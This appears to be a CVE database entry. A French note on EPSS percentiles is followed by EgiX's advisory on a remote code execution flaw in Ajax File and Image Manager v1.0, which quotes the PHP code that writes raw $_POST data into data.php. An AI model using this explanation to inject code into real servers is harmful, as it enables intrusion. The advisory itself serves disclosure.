Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

-------------------------------------------------------------------------- Ajax File and Image Manager v1.0 Final Remote Code Execution Vulnerability -------------------------------------------------------------------------- author...........: Egidio Romano aka EgiX mail.............: n0b0d13s[at]gmail[dot]com software link....: http://www.phpletter.com/ [-] Vulnerability explanation: The vulnerable code is located into /ajaxfilemanager/ajax_create_folder.php: 11. @ob_start(); 12. displayArray($_POST); 13. writeInfo(@ob_get_clean()); this script start the output buffering at line 11 and then call the 'displayArray' function that simply displays the $_POST array content with the print_r() function, and finally at line 13 is called the 'writeInfo' function using the current buffer contents as parameter (that is the $_POST array content). Now look at the 'writeInfo' function body defined into /ajaxfilemanager/inc/function.base.php: 228. function writeInfo($data, $die = false) 229. { 230. $fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+'); 231. @fwrite($fp, $data); 232. @fwrite($fp, "\n\n" . date('d/M/Y H:i:s') ); 233. @fclose($fp); It writes the $data paramater into a file called 'data.php' without any check, so an attacker could be able to inject and execute arbitrary PHP code.
